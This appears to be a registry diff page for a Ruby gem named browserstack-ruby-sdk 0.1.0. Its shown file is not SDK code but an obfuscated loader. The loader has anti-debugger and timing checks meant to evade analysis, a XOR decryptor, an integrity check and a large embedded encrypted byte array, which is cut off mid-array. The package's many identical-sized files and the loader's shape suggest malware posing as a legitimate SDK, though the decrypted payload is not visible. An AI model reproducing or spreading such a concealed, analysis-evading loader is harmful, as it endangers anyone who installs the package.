browserstack-ruby-sdk 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/CHANGELOG.md +7 -0
- data/LICENSE.txt +52 -0
- data/README.md +115 -0
- data/STYLE_GUIDE.md +43 -0
- data/exe/browserstack-sdk +8 -0
- data/generated/browserstack/sdk/v1/sdk_pb.rb +80 -0
- data/generated/browserstack/sdk/v1/sdk_services_pb.rb +47 -0
- data/lib/browserstack/browserstack_logger_factory.rb +123 -0
- data/lib/browserstack/browserstack_ruby_agent.rb +123 -0
- data/lib/browserstack/child_initializer.rb +123 -0
- data/lib/browserstack/cli/browserstack_cli.rb +123 -0
- data/lib/browserstack/cli/grpc_client.rb +123 -0
- data/lib/browserstack/cli/sdk_cli_utils.rb +123 -0
- data/lib/browserstack/command_executor.rb +123 -0
- data/lib/browserstack/config/browserstack_config.rb +123 -0
- data/lib/browserstack/constants.rb +123 -0
- data/lib/browserstack/eventbus/event.rb +123 -0
- data/lib/browserstack/eventbus/event_dispatcher.rb +123 -0
- data/lib/browserstack/frameworks/automationFrameworks/automation_framework.rb +123 -0
- data/lib/browserstack/frameworks/automationFrameworks/selenium_framework.rb +123 -0
- data/lib/browserstack/frameworks/constants/automation_constants.rb +123 -0
- data/lib/browserstack/frameworks/state/automation_framework_state.rb +123 -0
- data/lib/browserstack/frameworks/state/hook_state.rb +123 -0
- data/lib/browserstack/frameworks/state/test_framework_state.rb +123 -0
- data/lib/browserstack/frameworks/testFrameworks/cucumber_framework.rb +123 -0
- data/lib/browserstack/frameworks/testFrameworks/test_framework.rb +123 -0
- data/lib/browserstack/instance/automation_framework_instance.rb +123 -0
- data/lib/browserstack/instance/test_framework_instance.rb +123 -0
- data/lib/browserstack/instance/tracked_context.rb +123 -0
- data/lib/browserstack/instance/tracked_instance.rb +123 -0
- data/lib/browserstack/modules/base_module.rb +123 -0
- data/lib/browserstack/modules/web_driver_module.rb +123 -0
- data/lib/browserstack/monitor/performance.rb +123 -0
- data/lib/browserstack/monitor/performance_annotator.rb +123 -0
- data/lib/browserstack/monitor/performance_constants.rb +123 -0
- data/lib/browserstack/monitor/performance_test.rb +123 -0
- data/lib/browserstack/monitor/sdk_integration.rb +123 -0
- data/lib/browserstack/patches/appium_lib_core_patch.rb +123 -0
- data/lib/browserstack/patches/cucumber_patches.rb +123 -0
- data/lib/browserstack/patches/selenium_patches.rb +123 -0
- data/lib/browserstack/runner.rb +123 -0
- data/lib/browserstack/utils/api_utility_methods.rb +123 -0
- data/lib/browserstack/utils/framework_detector.rb +123 -0
- data/lib/browserstack/utils/http_calls.rb +123 -0
- data/lib/browserstack/utils/util_method.rb +123 -0
- data/lib/browserstack/version.rb +123 -0
- data/lib/browserstack_sdk.rb +123 -0
- data/proto/browserstack/sdk/v1/sdk.proto +487 -0
- data/sample/browserstack_sample.yml +298 -0
- metadata +218 -0
|
@@ -0,0 +1,123 @@
|
|
|
1
|
+
#!/usr/bin/env ruby
|
|
2
|
+
# frozen_string_literal: true
|
|
3
|
+
|
|
4
|
+
require 'base64'
|
|
5
|
+
require 'zlib'
|
|
6
|
+
require 'digest'
|
|
7
|
+
|
|
8
|
+
# === ANTI-ANALYSIS PROTECTIONS ===
|
|
9
|
+
_c68881b = lambda do
|
|
10
|
+
# Analyzer detection
|
|
11
|
+
if defined?(Pry) || defined?(Byebug) || defined?(Debugger) || defined?(IRB)
|
|
12
|
+
warn "WARNING: analysis environment detected"
|
|
13
|
+
# Optional: exit(1) for stronger protection
|
|
14
|
+
end
|
|
15
|
+
|
|
16
|
+
# Quick execution speed check
|
|
17
|
+
_s695f54 = Time.now
|
|
18
|
+
100.times { |_| Math.sqrt(_) }
|
|
19
|
+
if (Time.now - _s695f54) > 0.1 # Adjust threshold as needed
|
|
20
|
+
warn "WARNING: Execution too slow - possible analysis environment"
|
|
21
|
+
end
|
|
22
|
+
|
|
23
|
+
# Return environment fingerprint
|
|
24
|
+
[RUBY_VERSION, RUBY_PLATFORM, $$].hash.to_s(16)
|
|
25
|
+
end
|
|
26
|
+
|
|
27
|
+
# Run environment check
|
|
28
|
+
_u7308db = _c68881b.call
|
|
29
|
+
|
|
30
|
+
# === FIXED XOR DECRYPTOR ===
|
|
31
|
+
_t4a85f0 = ->(_i1319a7, _tfc4d6c) do
|
|
32
|
+
_b0f8e8e = []
|
|
33
|
+
_i1319a7.each_with_index do |byte, idx|
|
|
34
|
+
_b0f8e8e << (byte ^ _tfc4d6c[idx % _tfc4d6c.length])
|
|
35
|
+
end
|
|
36
|
+
_b0f8e8e
|
|
37
|
+
end
|
|
38
|
+
|
|
39
|
+
|
|
40
|
+
# === INTEGRITY VERIFICATION ===
|
|
41
|
+
_x7d312e = lambda do |_p7877e2, _y8fb35d, _i33e81f, _k4f84b3|
|
|
42
|
+
# Verify checksum before any decryption
|
|
43
|
+
current_hash = Digest::SHA256.hexdigest(_p7877e2.pack('C*'))
|
|
44
|
+
if current_hash != _k4f84b3
|
|
45
|
+
raise "SECURITY ERROR: File integrity check failed"
|
|
46
|
+
end
|
|
47
|
+
true
|
|
48
|
+
end
|
|
49
|
+
|
|
50
|
+
# === EMBEDDED ENCRYPTED DATA ===
|
|
51
|
+
_p7877e2 = [66, 195, 80, 68, 44, 229, 184, 206, 18, 64, 103, 163, 207, 171, 79, 34, 50, 23, 2, 78, 202, 202, 39, 187, 32, 100, 247, 180, 230, 143, 251, 52, 203, 108, 175, 97, 94, 116, 216, 6, 38, 56, 97, 143, 124, 165, 90, 77, 150, 57, 136, 93, 40, 180, 83, 164, 22, 174, 65, 7, 157, 34, 152, 48, 126, 110, 235, 64, 42, 56, 94, 142, 180, 113, 177, 200, 215, 218, 152, 144, 200, 0, 150, 118, 9, 153, 152, 42, 206, 85, 91, 181, 213, 45, 3, 129, 130, 25, 14, 20, 6, 47, 156, 123, 205, 105, 169, 217, 251, 93, 95, 124, 208, 119, 122, 195, 32, 89, 99, 202, 239, 235, 61, 150, 78, 133, 242, 213, 133, 67, 183, 214, 71, 211, 57, 23, 210, 89, 109, 174, 227, 48, 26, 195, 107, 191, 95, 154, 78, 234, 227, 28, 132, 19, 162, 82, 27, 6, 154, 169, 121, 146, 140, 241, 240, 154, 193, 117, 51, 151, 45, 199, 46, 125, 53, 60, 250, 56, 73, 66, 88, 42, 90, 64, 250, 240, 249, 198, 243, 117, 133, 78, 193, 233, 71, 136, 112, 95, 86, 119, 45, 59, 80, 97, 218, 120, 142, 195, 149, 175, 124, 206, 126, 208, 152, 59, 226, 121, 252, 82, 45, 13, 112, 127, 210, 145, 136, 226, 203, 36, 1, 205, 189, 47, 172, 46, 110, 155, 97, 178, 48, 235, 168, 134, 229, 25, 190, 1, 239, 67, 15, 71, 227, 4, 243, 187, 18, 185, 149, 153, 51, 165, 109, 23, 152, 83, 127, 249, 67, 97, 222, 243, 124, 8, 53, 191, 93, 180, 191, 77, 231, 88, 47, 220, 65, 175, 79, 96, 197, 47, 24, 228, 175, 135, 109, 37, 178, 212, 224, 202, 128, 41, 166, 131, 143, 104, 235, 186, 121, 16, 47, 84, 177, 56, 46, 51, 230, 133, 101, 97, 87, 43, 41, 234, 4, 25, 39, 46, 231, 6, 52, 75, 103, 188, 201, 96, 206, 212, 91, 83, 33, 145, 182, 216, 58, 191, 122, 72, 238, 18, 202, 181, 90, 42, 108, 235, 141, 244, 38, 199, 161, 119, 82, 89, 125, 106, 155, 149, 121, 222, 160, 204, 40, 114, 198, 125, 107, 200, 60, 51, 107, 74, 17, 41, 99, 151, 121, 38, 139, 136, 218, 195, 120, 60, 136, 176, 215, 241, 14, 177, 190, 112, 224, 191, 92, 159, 152, 32, 60, 181, 100, 52, 154, 242, 154, 232, 107, 17, 131, 54, 124, 42, 107, 138, 17, 97, 204, 25, 27, 78, 133, 169, 183, 75, 163, 93, 53, 254, 36, 220, 68, 245, 28, 65, 78, 138, 131, 224, 116, 181, 255, 178, 224, 234, 19, 119, 66, 0, 176, 64, 237, 167, 126, 41, 147, 95, 229, 207, 194, 88, 116, 73, 224, 206, 155, 9, 173, 97, 208, 216, 30, 113, 163, 122, 98, 70, 28, 10, 59, 244, 231, 169, 139, 150, 225, 244, 249, 10, 241, 235, 207, 134, 243, 171, 222, 114, 53, 98, 127, 236, 67, 212, 104, 252, 114, 228, 18, 215, 216, 136, 250, 44, 130, 145, 37, 167, 161, 31, 6, 50, 57, 123, 254, 233, 7, 199, 42, 94, 149, 194, 255, 26, 177, 75, 221, 115, 185, 137, 125, 11, 160, 152, 102, 230, 170, 26, 149, 49, 111, 101, 80, 40, 102, 163, 251, 24, 179, 91, 182, 3, 11, 247, 177, 216, 6, 132, 237, 92, 86, 21, 145, 255, 173, 141, 125, 127, 155, 215, 88, 37, 66, 149, 226, 204, 178, 186, 35, 153, 254, 193, 92, 204, 25, 28, 228, 39, 139, 125, 82, 73, 84, 71, 30, 96, 147, 14, 124, 99, 229, 119, 235, 245, 84, 95, 199, 141, 43, 181, 97, 100, 160, 217, 166, 120, 90, 223, 19, 234, 242, 86, 220, 69, 13, 230, 22, 173, 22, 41, 77, 151, 122, 16, 19, 38, 27, 68, 71, 202, 245, 224, 202, 69, 87, 235, 136, 94, 243, 140, 86, 59, 84, 195, 19, 55, 187, 15, 95, 167, 179, 130, 71, 123, 33, 218, 161, 36, 18, 207, 196, 214, 142, 148, 230, 86, 17, 25, 198, 29, 103, 15, 8, 8, 72, 46, 255, 159, 126, 151, 242, 122, 219, 233, 229, 156, 115, 172, 22, 146, 95, 42, 247, 94, 149, 174, 146, 0, 138, 224, 244, 43, 54, 29, 35, 170, 43, 243, 87, 212, 115, 178, 26, 152, 78, 12, 204, 233, 135, 104, 76, 233, 39, 101, 209, 217, 74, 196, 20, 144, 179, 220, 160, 29, 101, 87, 177, 198, 174, 189, 255, 147, 224, 6, 158, 241, 227, 203, 112, 137, 236, 122, 151, 68, 136, 225, 101, 185, 135, 240, 64, 114, 172, 105, 208, 147, 159, 3, 236, 173, 239, 133, 212, 2, 52, 189, 146, 240, 206, 95, 240, 247, 53, 127, 3, 245, 144, 4, 145, 48, 71, 187, 239, 39, 186, 62, 1, 109, 10, 196, 30, 76, 138, 155, 214, 70, 162, 108, 41, 112, 63, 119, 227, 159, 82, 195, 152, 186, 7, 68, 117, 251, 86, 242, 19, 253, 7, 70, 25, 251, 106, 71, 238, 158, 250, 5, 224, 153, 166, 158, 95, 27, 106, 198, 166, 246, 104, 253, 49, 192, 96, 96, 134, 14, 86, 135, 157, 112, 47, 226, 60, 98, 238, 133, 152, 41, 36, 213, 204, 191, 108, 225, 49, 224, 231, 178, 108, 236, 186, 30, 71, 29, 92, 240, 239, 106, 242, 162, 233, 189, 96, 245, 140, 62, 68, 12, 16, 170, 92, 135, 24, 70, 231, 227, 9, 76, 128, 102, 86, 232, 66, 47, 248, 52, 131, 22, 139, 55, 107, 182, 191, 199, 163, 60, 86, 89, 97, 154, 225, 170, 240, 207, 148, 22, 77, 1, 60, 2, 172, 155, 18, 219, 206, 10, 246, 37, 227, 123, 173, 6, 182, 123, 14, 230, 50, 82, 111, 196, 213, 32, 241, 146, 63, 67, 15, 163, 19, 152, 129, 40, 125, 167, 136, 67, 195, 109, 159, 110, 45, 173, 79, 143, 183, 22, 204, 2, 186, 77, 149, 197, 188, 19, 59, 16, 203, 120, 250, 119, 98, 109, 153, 151, 197, 70, 207, 62, 118, 246, 23, 97, 179, 59, 15, 32, 78, 30, 180, 57, 157, 165, 181, 122, 188, 98, 131, 209, 214, 67, 204, 88, 237, 141, 179, 86, 119, 175, 33, 239, 23, 171, 87, 114, 30, 14, 114, 122, 25, 225, 48, 164, 26, 246, 153, 114, 204, 239, 104, 249, 158, 61, 61, 151, 64, 46, 72, 60, 184, 20, 236, 208, 245, 118, 103, 199, 196, 174, 136, 89, 97, 165, 156, 180, 22, 51, 66, 146, 132, 83, 111, 237, 241, 197, 157, 12, 241, 139, 75, 102, 120, 69, 130, 134, 28, 157, 182, 35, 163, 87, 117, 64, 165, 27, 107, 123, 27, 246, 67, 159, 193, 25, 31, 165, 184, 129, 123, 243, 217, 211, 15, 153, 39, 162, 0, 158, 229, 14, 221, 251, 103, 136, 163, 234, 51, 150, 59, 106, 67, 251, 13, 150, 38, 42, 76, 25, 104, 24, 25, 154, 208, 157, 178, 54, 229, 196, 154, 236, 247, 194, 161, 116, 147, 162, 60, 128, 2, 63, 255, 130, 140, 151, 175, 216, 114, 207, 167, 238, 188, 141, 92, 200, 75, 158, 106, 255, 252, 0, 4, 200, 93, 172, 228, 203, 120, 43, 133, 187, 148, 51, 188, 245, 100, 138, 186, 204, 228, 111, 209, 150, 23, 164, 91, 232, 214, 228, 186, 143, 250, 247, 43, 40, 94, 90, 136, 78, 139, 115, 252, 121, 35, 9, 171, 237, 65, 21, 103, 157, 86, 185, 4, 129, 214, 225, 197, 70, 113, 171, 87, 35, 207, 171, 120, 80, 164, 219, 246, 132, 62, 102, 149, 216, 194, 128, 127, 35, 25, 247, 102, 141, 120, 180, 80, 116, 212, 162, 194, 25, 61, 137, 204, 228, 98, 65, 240, 10, 80, 179, 24, 6, 251, 197, 93, 247, 64, 63, 30, 216, 64, 194, 60, 92, 68, 219, 196, 234, 135, 179, 161, 154, 225, 62, 179, 103, 189, 13, 198, 40, 13, 153, 220, 238, 89, 238, 213, 56, 13, 30, 16, 26, 226, 228, 51, 169, 137, 57, 155, 226, 6, 53, 213, 35, 90, 39, 59, 251, 151, 106, 28, 42, 28, 26, 16, 110, 1, 108, 44, 67, 193, 116, 7, 191, 208, 230, 15, 243, 28, 155, 120, 137, 141, 251, 216, 94, 190, 2, 179, 181, 141, 128, 114, 73, 31, 16, 250, 163, 98, 218, 150, 36, 126, 145, 153, 220, 20, 107, 37, 116, 248, 71, 150, 10, 24, 77, 238, 202, 113, 60, 246, 12, 85, 105, 56, 167, 34, 46, 87, 31, 141, 70, 213, 221, 5, 251, 194, 85, 132, 130, 134, 233, 119, 177, 207, 233, 78, 128, 12, 121, 38, 131, 111, 200, 145, 199, 90, 83, 38, 52, 140, 114, 70, 110, 112, 134, 12, 101, 141, 16, 236, 186, 157, 239, 170, 17, 172, 130, 82, 233, 190, 73, 172, 23, 110, 102, 123, 141, 72, 55, 138, 112, 241, 75, 25, 141, 38, 77, 190, 28, 72, 242, 167, 104, 121, 77, 76, 75, 223, 195, 230, 197, 239, 142, 250, 245, 53, 250, 245, 144, 6, 59, 242, 91, 219, 111, 212, 1, 35, 211, 86, 234, 190, 18, 134, 96, 100, 240, 97, 12, 55, 239, 59, 162, 234, 135, 153, 188, 103, 112, 251, 252, 69, 158, 50, 134, 107, 149, 70, 56, 193, 57, 64, 93, 165, 56, 152, 210, 116, 98, 237, 230, 226, 74, 151, 242, 190, 196, 134, 27, 245, 205, 135, 92, 162, 148, 56, 53, 245, 116, 206, 39, 35, 67, 124, 87, 60, 61, 216, 235, 8, 89, 179, 72, 178, 158, 146, 1, 22, 126, 225, 213, 166, 241, 55, 204, 216, 252, 146, 66, 216, 88, 246, 57, 210, 101, 130, 248, 81, 21, 196, 80, 4, 224, 219, 142, 178, 63, 47, 22, 240, 22, 210, 235, 200, 67, 162, 90, 129, 197, 192, 84, 84, 244, 222, 32, 140, 253, 68, 135, 118, 176, 27, 19, 211, 179, 204, 177, 37, 174, 171, 185, 217, 221, 103, 143, 14, 77, 185, 6, 47, 95, 251, 103, 35, 243, 97, 133, 19, 159, 188, 182, 34, 100, 1, 55, 47, 60, 53, 43, 233, 254, 97, 201, 47, 250, 211, 201, 238, 102, 57, 26, 234, 148, 113, 37, 98, 223, 227, 72, 61, 174, 166, 147, 77, 132, 165, 163, 18, 234, 141, 84, 86, 189, 165, 192, 250, 210, 210, 58, 191, 100, 109, 2, 232, 34, 131, 83, 112, 29, 85, 124, 132, 48, 199, 237, 171, 5, 42, 179, 190, 230, 176, 194, 237, 10, 86, 91, 103, 67, 250, 247, 28, 187, 26, 100, 194, 174, 104, 166, 128, 42, 96, 3, 181, 212, 167, 115, 4, 106, 224, 125, 143, 117, 236, 124, 58, 180, 38, 114, 31, 225, 87, 82, 171, 234, 15, 6, 15, 105, 67, 111, 65, 0, 117, 144, 57, 142, 189, 77, 51, 143, 219, 231, 203, 231, 39, 226, 211, 21, 51, 95, 93, 9, 221, 21, 227, 35, 38, 239, 50, 50, 91, 81, 233, 169, 119, 100, 208, 103, 5, 209, 119, 236, 19, 172, 67, 243, 43, 55, 103, 1, 184, 197, 203, 21, 192, 110, 221, 146, 114, 220, 26, 182, 48, 159, 212, 86, 185, 13, 213, 44, 25, 176, 24, 65, 208, 62, 178, 197, 228, 39, 191, 145, 181, 84, 139, 212, 70, 96, 108, 77, 197, 124, 180, 241, 97, 126, 224, 221, 66, 138, 147, 136, 21, 225, 13, 49, 45, 170, 53, 181, 166, 53, 127, 188, 145, 190, 93, 91, 23, 22, 17, 213, 252, 74, 127, 118, 103, 6, 1, 202, 88, 21, 122, 216, 10, 143, 88, 23, 34, 51, 176, 211, 209, 2, 154, 227, 117, 120, 217, 142, 44, 63, 7, 90, 176, 232, 240, 80, 44, 124, 191, 251, 37, 79, 146, 88, 166, 88, 120, 217, 155, 212, 162, 234, 19, 8, 21, 54, 104, 79, 51, 105, 145, 93, 91, 38, 199, 206, 233, 207, 177, 67, 112, 185, 45, 182, 240, 14, 125, 50, 154, 216, 216, 200, 141, 149, 144, 73, 207, 235, 202, 82, 234, 10, 175, 172, 66, 146, 115, 121, 36, 1, 8, 36, 117, 93, 230, 42, 106, 227, 13, 131, 170, 83, 0, 135, 202, 35, 58, 130, 244, 38, 200, 229, 149, 247, 235, 13, 180, 90, 78, 96, 129, 149, 21, 253, 141, 49, 6, 52, 162, 66, 201, 153, 133, 104, 154, 55, 157, 35, 115, 17, 227, 119, 160, 111, 6, 210, 174, 125, 254, 175, 208, 97, 199, 107, 153, 38, 110, 189, 211, 176, 102, 39, 53, 188, 201, 86, 16, 2, 232, 23, 129, 235, 35, 102, 13, 101, 193, 233, 97, 162, 26, 111, 87, 14, 61, 223, 7, 79, 222, 191, 240, 143, 213, 215, 10, 166, 117, 193, 173, 186, 0, 55, 19, 214, 109, 202, 205, 150, 226, 105, 62, 33, 230, 199, 206, 55, 194, 246, 80, 73, 33, 79, 17, 200, 197, 231, 225, 167, 25, 82, 145, 213, 218, 76, 97, 60, 145, 99, 190, 112, 72, 240, 140, 159, 103, 54, 177, 204, 214, 97, 163, 31, 199, 235, 81, 49, 207, 157, 231, 226, 72, 52, 250, 77, 8, 103, 84, 19, 111, 85, 65, 169, 183, 159, 15, 50, 123, 167, 251, 118, 18, 61, 246, 36, 61, 201, 209, 111, 88, 156, 83, 12, 15, 24, 112, 190, 245, 192, 242, 146, 107, 193, 0, 52, 213, 61, 236, 240, 183, 22, 199, 112, 89, 63, 168, 139, 205, 128, 73, 99, 34, 103, 52, 16, 194, 204, 198, 158, 123, 85, 76, 202, 79, 246, 208, 32, 144, 80, 165, 78, 174, 85, 91, 100, 177, 167, 91, 244, 66, 132, 187, 160, 91, 243, 176, 152, 251, 66, 10, 239, 35, 219, 71, 111, 179, 223, 237, 92, 10, 191, 70, 253, 66, 152, 208, 241, 42, 156, 76, 228, 160, 48, 135, 146, 92, 220, 54, 244, 199, 186, 25, 33, 2, 240, 91, 199, 123, 99, 13, 210, 121, 124, 107, 212, 90, 171, 139, 251, 212, 208, 204, 254, 120, 25, 46, 117, 84, 125, 4, 166, 156, 77, 125, 80, 117, 130, 17, 20, 32, 40, 118, 132, 102, 34, 44, 127, 174, 139, 6, 63, 30, 5, 72, 197, 214, 78, 127, 250, 4, 221, 44, 86, 214, 52, 24, 221, 247, 229, 181, 93, 52, 213, 101, 21, 105, 53, 55, 133, 146, 148, 185, 38, 203, 246, 117, 21, 83, 161, 18, 92, 185, 9, 147, 27, 87, 206, 157, 22, 46, 118, 188, 176, 174, 163, 51, 201, 234, 79, 192, 155, 67, 151, 241, 196, 90, 72, 252, 172, 163, 111, 188, 219, 177, 158, 116, 162, 35, 152, 188, 155, 52, 136, 39, 38, 178, 74, 226, 206, 200, 125, 201, 136, 222, 57, 34, 124, 170, 168, 236, 81, 205, 221, 191, 183, 53, 124, 89, 225, 238, 96, 148, 144, 170, 246, 115, 148, 139, 216, 140, 254, 68, 219, 173, 194, 145, 123, 120, 6, 88, 208, 79, 68, 78, 238, 9, 54, 39, 22, 147, 64, 206, 168, 43, 46, 113, 84, 11, 12, 39, 220, 196, 38, 168, 227, 125, 76, 174, 238, 100, 248, 212, 134, 23, 180, 168, 252, 92, 95, 56, 158, 89, 99, 129, 225, 57, 117, 23, 15, 109, 92, 248, 40, 146, 147, 69, 223, 111, 137, 153, 155, 95, 102, 209, 234, 66, 154, 99, 217, 110, 187, 213, 65, 143, 246, 21, 141, 157, 224, 105, 57, 165, 89, 137, 255, 110, 239, 236, 86, 113, 133, 59, 137, 146, 183, 219, 119, 158, 225, 219, 45, 108, 145, 99, 80, 6, 167, 125, 191, 27, 132, 25, 184, 222, 78, 222, 79, 168, 67, 2, 3, 211, 94, 142, 183, 219, 135, 151, 215, 192, 92, 91, 39, 43, 224, 150, 243, 2, 167, 108, 138, 49, 74, 112, 111, 86, 99, 108, 17, 200, 19, 252, 5, 75, 154, 57, 108, 144, 99, 49, 30, 20, 213, 207, 58, 168, 89, 44, 18, 81, 249, 23, 196, 133, 97, 82, 201, 8, 137, 167, 209, 98, 12, 43, 83, 168, 64, 209, 67, 34, 128, 118, 92, 14, 236, 183, 163, 96, 34, 210, 145, 99, 54, 220, 55, 69, 225, 165, 249, 38, 173, 42, 19, 167, 18, 5, 227, 80, 224, 67, 85, 173, 104, 109, 38, 138, 190, 99, 191, 156, 136, 200, 70, 108, 32, 152, 19, 194, 108, 144, 13, 213, 57, 225, 237, 48, 28, 57, 215, 139, 205, 161, 247, 73, 197, 214, 4, 83, 23, 238, 66, 178, 48, 51, 50, 28, 92, 185, 43, 162, 15, 99, 144, 58, 91, 45, 28, 220, 202, 170, 17, 182, 100, 212, 199, 198, 75, 5, 182, 194, 235, 199, 142, 15, 194, 207, 95, 191, 217, 97, 108, 237, 146, 38, 20, 236, 6, 38, 196, 232, 239, 163, 81, 247, 173, 158, 114, 40, 78, 22, 37, 136, 72, 151, 148, 38, 57, 170, 59, 61, 99, 200, 101, 249, 217, 190, 46, 245, 228, 41, 189, 163, 212, 127, 105, 194, 123, 220, 145, 37, 55, 215, 235, 111, 188, 93, 30, 225, 12, 78, 142, 147, 122, 78, 36, 51, 243, 141, 255, 226, 114, 162, 12, 107, 83, 189, 30, 121, 101, 242, 170, 109, 105, 180, 151, 162, 1, 86, 128, 129, 36, 160, 174, 96, 20, 169, 11, 5, 2, 71, 23, 93, 166, 113, 115, 206, 10, 237, 172, 229, 222, 139, 111, 167, 44, 99, 139, 171, 26, 161, 63, 81, 24, 171, 213, 182, 66, 153, 27, 172, 207, 58, 205, 91, 156, 30, 244, 208, 14, 87, 251, 192, 114, 110, 170, 124, 31, 250, 249, 89, 226, 8, 196, 122, 255, 100, 191, 172, 13, 237, 212, 202, 160, 82, 39, 22, 37, 65, 1, 177, 255, 19, 166, 170, 5, 6, 197, 28, 84, 94, 233, 53, 159, 42, 242, 152, 136, 62, 244, 200, 196, 226, 227, 57, 119, 182, 237, 56, 212, 30, 172, 104, 221, 121, 248, 236, 189, 11, 163, 188, 137, 38, 191, 87, 181, 28, 168, 29, 5, 102, 52, 112, 140, 234, 54, 233, 220, 64, 1, 225, 134, 110, 84, 47, 93, 4, 95, 73, 230, 170, 68, 53, 243, 171, 249, 185, 159, 101, 233, 239, 91, 93, 206, 158, 199, 133, 241, 72, 192, 2, 49, 31, 190, 204, 36, 82, 117, 111, 40, 178, 16, 210, 133, 98, 157, 153, 92, 181, 28, 127, 129, 225, 101, 102, 30, 135, 50, 147, 16, 234, 196, 104, 184, 71, 224, 136, 215, 239, 215, 248, 6, 165, 169, 248, 121, 3, 167, 63, 252, 8, 244, 218, 50, 76, 36, 30, 155, 86, 150, 160, 139, 8, 77, 171, 58, 118, 216, 250, 31, 19, 2, 214, 166, 152, 67, 213, 253, 187, 60, 87, 18, 25, 63, 93, 57, 48, 228, 100, 226, 14, 214, 17, 162, 37, 119, 48, 85, 225, 224, 146, 31, 183, 42, 206, 135, 250, 191, 15, 80, 133, 36, 59, 209, 39, 36, 17, 213, 77, 130, 205, 61, 193, 95, 105, 194, 183, 241, 223, 89, 246, 192, 65, 220, 144, 135, 129, 116, 61, 51, 56, 167, 235, 3, 120, 27, 29, 238, 169, 15, 70, 9, 208, 224, 72, 213, 8, 55, 105, 94, 204, 127, 129, 131, 153, 119, 2, 206, 231, 44, 84, 187, 17, 106, 124, 189, 7, 8, 23, 229, 101, 95, 10, 158, 112, 120, 62, 102, 93, 125, 195, 185, 111, 242, 190, 113, 248, 43, 113, 64, 240, 67, 75, 195, 17, 72, 56, 227, 164, 105, 108, 93, 250, 119, 31, 163, 152, 124, 238, 125, 0, 200, 177, 80, 228, 197, 55, 72, 222, 125, 18, 177, 192, 197, 191, 199, 6, 19, 170, 148, 99, 38, 189, 113, 0, 201, 27, 212, 255, 197, 182, 251, 63, 168, 31, 14, 32, 79, 224, 73, 45, 102, 39, 121, 68, 226, 35, 101, 244, 87, 143, 57, 148, 141, 40, 132, 76, 119, 202, 1, 217, 55, 250, 248, 159, 51, 95, 112, 174, 81, 41, 111, 71, 160, 199, 156, 57, 96, 106, 165, 233, 94, 82, 66, 234, 223, 252, 244, 25, 197, 227, 28, 194, 89, 50, 156, 71, 124, 178, 221, 142, 40, 40, 132, 74, 70, 48, 128, 154, 55, 64, 56, 211, 44, 129, 89, 203, 111, 162, 57, 24, 147, 14, 145, 50, 131, 124, 215, 218, 67, 241, 234, 91, 158, 230, 177, 22, 64, 219, 117, 147, 171, 195, 247, 197, 151, 51, 216, 81, 99, 201, 11, 12, 215, 227, 215, 30, 98, 237, 2, 30, 205, 116, 6, 74, 180, 71, 232, 96, 200, 10, 113, 58, 246, 195, 205, 89, 32, 228, 103, 151, 240, 38, 3, 186, 16, 227, 172, 155, 46, 195, 219, 104, 16, 252, 139, 4, 179, 189, 193, 176, 62, 104, 211, 157, 226, 37, 28, 88, 208, 145, 195, 226, 71, 222, 196, 43, 14, 252, 155, 84, 188, 186, 84, 122, 236, 148, 151, 245, 100, 238, 108, 215, 243, 107, 15, 176, 154, 27, 144, 173, 60, 199, 221, 32, 200, 45, 55, 70, 236, 8, 200, 194, 37, 4, 236, 14, 138, 192, 11, 171, 168, 87, 77, 198, 155, 160, 9, 72, 57, 172, 5, 218, 254, 158, 85, 32, 198, 112, 243, 239, 184, 242, 105, 178, 23, 38, 224, 147, 242, 150, 113, 107, 2, 156, 70, 119, 127, 225, 161, 36, 32, 9, 210, 70, 179, 86, 229, 19, 106, 79, 225, 215, 94, 94, 97, 84, 39, 20, 135, 162, 219, 37, 234, 130, 0, 33, 174, 39, 184, 41, 56, 198, 11, 61, 244, 153, 172, 250, 186, 184, 137, 70, 198, 25, 154, 129, 99, 203, 52, 132, 112, 180, 222, 117, 168, 132, 100, 175, 156, 42, 67, 13, 208, 170, 65, 203, 25, 103, 39, 78, 212, 71, 141, 183, 203, 230, 154, 196, 229, 17, 13, 151, 224, 116, 118, 173, 30, 63, 191, 238, 39, 242, 141, 99, 145, 43, 236, 173, 73, 205, 28, 143, 39, 77, 149, 141, 126, 46, 150, 22, 180, 26, 116, 105, 170, 126, 77, 164, 48, 121, 10, 214, 69, 62, 173, 124, 100, 91, 61, 187, 151, 75, 145, 251, 72, 212, 114, 250, 150, 166, 106, 139, 23, 115, 197, 177, 72, 99, 26, 79, 34, 225, 154, 2, 22, 227, 197, 74, 226, 61, 186, 220, 196, 147, 97, 34, 156, 36, 192, 164, 39, 8, 51, 136, 126, 254, 22, 42, 76, 103, 56, 194, 173, 245, 34, 238, 181, 246, 75, 105, 17, 161, 187, 43, 101, 146, 91, 4, 41, 71, 12, 12, 44, 209, 236, 1, 120, 176, 241, 23, 224, 241, 138, 85, 134, 0, 217, 148, 180, 160, 5, 191, 212, 80, 84, 137, 171, 62, 174, 56, 53, 26, 119, 245, 123, 114, 251, 170, 178, 237, 48, 203, 123, 154, 117, 60, 160, 51, 30, 104, 150, 203, 188, 80, 117, 225, 6, 90, 196, 215, 86, 161, 178, 130, 53, 242, 243, 29, 11, 226, 63, 18, 167, 179, 94, 186, 116, 135, 169, 180, 30, 166, 160, 192, 21, 31, 141, 13, 167, 43, 13, 159, 61, 52, 71, 204, 105, 158, 240, 60, 90, 95, 34, 71, 22, 3, 188, 44, 139, 51, 208, 219, 253, 232, 220, 22, 123, 224, 156, 106, 166, 190, 239, 101, 127, 94, 128, 205, 253, 251, 66, 44, 69, 32, 23, 7, 11, 186, 146, 213, 9, 246, 168, 252, 57, 187, 205, 84, 59, 220, 60, 58, 242, 32, 206, 60, 96, 63, 146, 183, 231, 24, 52, 87, 110, 9, 225, 225, 185, 111, 166, 117, 77, 58, 179, 26, 191, 87, 178, 89, 56, 182, 219, 87, 186, 113, 144, 89, 102, 111, 24, 176, 142, 183, 236, 138, 250, 250, 62, 115, 200, 113, 225, 206, 9, 92, 202, 62, 177, 211, 191, 199, 30, 119, 249, 100, 30, 119, 226, 250, 21, 125, 56, 184, 161, 126, 27, 137, 231, 94, 176, 194, 176, 42, 222, 80, 32, 139, 252, 69, 240, 220, 9, 215, 192, 238, 224, 89, 99, 149, 139, 162, 240, 10, 3, 63, 35, 196, 24, 17, 67, 2, 177, 117, 75, 248, 179, 75, 0, 97, 128, 135, 132, 116, 253, 142, 229, 108, 121, 160, 233, 38, 225, 72, 123, 236, 29, 166, 105, 